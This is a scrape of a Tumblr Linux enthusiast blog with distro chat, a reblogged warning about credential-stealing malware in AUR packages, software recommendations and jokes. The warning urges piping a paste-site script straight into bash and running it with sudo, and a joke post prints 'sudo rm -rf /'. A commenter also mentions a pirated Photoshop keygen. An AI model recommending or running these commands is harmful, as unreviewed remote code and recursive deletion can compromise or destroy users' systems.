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@gruvbox-official
I just realized I never actually made a pinned post.
Hi, I'm gruvbox (he/him). I'm in my late 20s, and seemingly one of the rare few cishet folks involved in linuxblr. I've been daily driving Linux since 2021, and it's probably one of the best decisions I've ever made. This blog is mostly for general posting about tech, particularly open source stuff.
Disclaimer: This blog is not actually affiliated with Pavel "morhetz" Pertsev or the gruvbox project.
My main blog is @scribe-awoken
Alright I keep seeing this so I want to remind people: the term "ricing" and "a rice" are racist terms referring to cheap Asian cars that is borrowed from car modding.
Please stop using it to refer to your desktop mods. There are a million other ways to refer to your desktop mods/themes/whatever but please stop using racist car modding terms
is the fedora to arch linux to nixos pipeline familiar to everyone or is that just me
Mint to Fedora to Arch to Fedora again to I think Manjaro to NixOS
and I've been on NixOS for like a year now
I somehow did things all out of order and did Pop!_OS to Fedora Silverblue to NixOS back to Silverblue and now I'm on CachyOS on my desktop and OpenSUSE Leap on my laptops
AUR has been hit with malware
Per the CachyOS subreddit:
"As the title states, the Arch AUR has been hit by a huge malware infection campaign over the last couple of days. There's an earlier post referring to alvr. That's not the only package it's hundreds of them, many of them Aur packages average people would install like apple-music-desktop.
I don't have the full details of the scope of the malware campaign. I know it's a credential stealer so it steals ssh keys and browser login info and apparently has rootkit potential.
This was widespread and targeted orphaned packages. Aur for some reason allows other people to take over existing projects.
The bottom line is if you used the aur over the last couple of days you may have been infected and the problem with taking over orphaned packages I believe remains. I personally would not use the Aur for the foreseeable future, and ideally not at all. It's a security risk."
There is a script that you can run on your machine to detect if you have a package that is known to have been infected which you can view here. I have also linked the subreddit post here.
Just download it, make it executable and run the script with sudo and let it run, it will tell you what it found once it's complete.
Pls reblog to signal boost!!
Per the thread again: As I was interested in more in-depth information some can be found here, as well as a preliminary analysis of the malware:
https://www.sonatype.com/blog/atomic-arch-npm-campaign-adds-malicious-dependency
https://ioctl.fail/preliminary-analysis-of-aur-malware/
Users can also run the following to check for malicious packages:
curl -s https://cscs.pastes.sh/raw/aurvulntest20260611.sh | bash
so fucjonkg close to jump to ubuntu or something
You can see I was frustrated when I mistyped this
I'll check the recs, thanks! But I'll have to find a matching Photoshop crack... Honestly I think I'll start with my phone! I use almost 0 apps, and I'm so tired of all the straight up spyware on it.
probably not what you're looking for, but there's a photoshop alternative called "GIMP" that you could try. i use it pretty often, it doesn't have most advanced photoshop features but it'll definitely let you edit images!
i can't give you any feedback on the drawing experience, but it's something to look into as a jumping off point
OH MY GOD HONEY NOOO!
Don't use gimp! It's a piece of shit of a software! There's so much better! You're suffering uselessly.
You can try krita for free, it's illustration oriented and widely appreciated.
Most artists I know work on clip studio paint, it's a one time buy (the first edition is, idk for 2.0 I think it has a subscription system) and a GREAT software for illustration too, with a shit ton of nice feature to make comics quickly. A staple.
Paint Tool Sai is also an old classic. Also a one time buy iirc.
For photo edition and drawing, as a replacement for Photoshop, you have affinity designer which is completely free! You just need a Canva account (free too) I guess they got a partnership. Affinity burst in the room like the fucking kool aid man and yelled "YO BITCHES WE'RE REPLACING PHOTOSHOP" and from my surface use and a lot of feedback, they do! They're basically a copy lol. The only thing that's locked behind a premium account is AI features and nobody wants that shit anyway.
You can even use a Photoshop equivalent for free online! It's called photopea, fully free, it supports all formats and stuff. I used it when I was borrowing a pc when I was staying at my uncle's to tweak and clean my ink doodles.
I learned and used a shit ton of softwares, from the adobe suite to maya, substance painter and designer, a bit of unity and unreal, and I love zbrush which is a wonder to work with but a nightmare to learn, and a lot of others I forget.
But gimp is garbaaaaaage. I remember teaching a friend how to draw digitally, and we started on gimp cause it's free. And I was slamming my head on my keyboard it was so counter intuitive to learn and use, and missing a lot of features. I wasn't teaching shit I was battling while she waited and laughed at me. Then I was like "WAIT krita it's free let's try it!" And the teaching went flawlessly from that point on. She still laughs at my trauma.
I hope you don't have an emotional attachment to gimp cause I really just spit on it lol, no hard feelings.
ALSO I'm in a toxic relationship with photoshop, because there's one or two simple features that I use a lot that I can't find on other softwares. I tried but well. I draw simple things as a hobby now, I don't want to do the mental effort to set up and get used to another software. Maybe affinity has those features tho, it's worth trying I guess...
Note that I never paid Photoshop lol, I'm still on the CS7 version with a keygen that makes a horrible music when you open it.
WAIT idk which one of these run on other OS, but they're more and more common on linux a d stuff.
adding onto this, a big thing to remember with GIMP is that it's an image manipulation program, much like what Photoshop was when it first started out, and unlike Adobe, GIMP's developers have largely kept it that way. While Adobe expanded Photoshop's scope from a photo editing program to a dual-purpose photo editing and digital art program, GIMP... hasn't. It's still just a photo editing program, and probably won't ever expand its scope anyways because if you wanna use FOSS and you need a program for digital illustration, Krita is right there and already has features on par with most commercial offerings.
(mind you, GIMP is... also not great when it comes to image manipulation features. It just got non-destructive editing last year, in large part because the maintainers decided to hold back a lot of major features until they finished porting GIMP from the ancient GTK2 GUI toolkit they were still using to GTK3... which took so long that by the time it came out, GTK3 had already been superseded by GTK4 several years prior.)
hey can I tell you something. linux mint just released a big update. I know this because I got a notification telling me the update was available and I could install it if I wanted to. I didn't because I forgot about it, and lo and behold the update did not install itself or even so much as prompt me a second time. later I remembered and looked for it, it took about a minute to find and I didn't even have to look it up. It had a link to the page on what (exactly) was gonna change and was very readable and clear. I clicked the update, it ran a few things, then was like "hey I'm done, the update will kick in when the computer restarts". I went on doing my thing. when I restarted the computer, it ran a few things it normally doesn't and BOOM the computer was updated. I disliked it. the ui on the start menu was slightly different and the remapping software I needed to use my keyboard properly didn't work. so guess what? I went into Timeshift, a utility installed by default (but easily uninstallable!) on the standard Mint installation which saves a "snapshot" of the OS every however often you tell it to (for me, once a day), and told it to revert to my last snapshot. Tells me to make sure I have no unsaved work, then runs some whatever for two minutes and restarts. BOOM the computer is back on the old version, no huss no fuss no coconuts. the old start menu is back (it probs would've been easy to reconfigure it in the new v but) more importantly, my keyboard works exactly how it's supposed to again, just like that! and by the time the next major update comes out the bug in my keyboard util will probably have been fixed. and if it doesn't, no prob! just ^^^^^. or use a different one. or send a request. or find the command that makes it work anyway. less than 10 minutes googling easily.
Hey. Hey Windows users. You don't know how bad you have it.
When you really get down to it, there's two categories of software. If the project is called "pname", it's on version 0.11 since the last release in 2018, it's used in every other software project started since the first Bush administration, and it's as stable as a mountain. If the project is called "Project Name 🚀", it's on version 105.3 since three hours ago, it launched six months ago but has already made its way into 20% of node.js projects and each patch simultaneously fixes and introduces five critical vulnerabilities.
Love needing to click on history to reopen a tab I closed in firefox becouse I clicked the wrong spot when trying to switch to it.
If it helps, there's a keyboard shortcut to reopen the last tab you closed. Ctrl+Shift+T
Long live Linux
“bailing out, you’re on your own, good luck!”
praise be to tux, the enabler of shitty commands.
let they who have not irreparably broken their install forever stay silent in his prescence.
sudo rm -rf /
hey everyone its april fools. but dont worry i dont have anything planned. just going to sit here and...
I LIED !!!! GET PRANKED
POST BELOW ME GET FUCKING WET
is there an ai bubble bubble?
picturing a scenario where so many people have shorted tech stocks in anticipation of an ai bust that the economy will collapse if the economy doesnt collapse
Reblogs in a chain now get their own notes
The reblog chain is one of the things that makes Tumblr unlike anywhere else. All the notes on reblogs are attributed to the original post, no matter which branch people actually liked or reblogged. We want to keep encouraging conversations, and give contributors the recognition they deserve.
Soon, you'll be able to like, reblog, or reply to any part of a reblog chain, and that note will go to that reblog's author. Each reblog will have its own counts, instead of one aggregated number from every version of the post. And yes, you’ll be able to like multiple posts in one chain.
If a reblog doesn't add anything, the love flows up to the last person in the chain who did. Your post doesn't lose notes just because people spread it quietly.
Past notes will stay on the original post — we're only changing what happens from here on out. Retroactively re-attributing all of them would be... a lot.
This is just the beginning. More changes are coming as we keep building this out – stay tuned!
It’s very clear that you all have strong feelings about Tumblr and about this change. We hear you. The passion people have for how Tumblr works is one of the things that makes this place special.
As this rolls out over the next few days and you explore it, we’ll keep reading your replies and reblogs, so please keep sharing your questions, concerns, and ideas.
Your creativity has always been the heart of Tumblr, whether you’re the original poster or adding something brilliant in the reblogs, and nothing about this change is meant to limit that.
If you’d like to talk directly beyond the comments, leave a reply and we’ll follow up with as many of you as we can. We want to work with you to make Tumblr better.
hey folks do we like this. reblog without commentary for reach
do we want this?
yes
no
ask game 8?
8 - do you know your way around vim keybinds?
no. I mainly use micro as my editor.
Linux ask game
1 - what was your first distro? 2 - what was your biggest linux fuckup? 3 - have you ever run rm / on real hardware? 4 - do you dual boot or have a secondary machine with windows? 5 - did you change your default shell? 6 - are you afraid of git? 7 - what was the first machine you installed linux on? 8 - do you know your way around vim keybinds? 9 - what is your favourite non-os software? 10- biggest linux pet peeve? 11- biggest annoyance with the community? 12- do you like your current distro? 13- Xenia or Tux? 14- what software are you never using again? 15- stock distro or hours of yak shaving? 16- have you compiled the kernel?
linux users, reblog and put what distro you use and why in the tags
You guys will never guess what distro I use
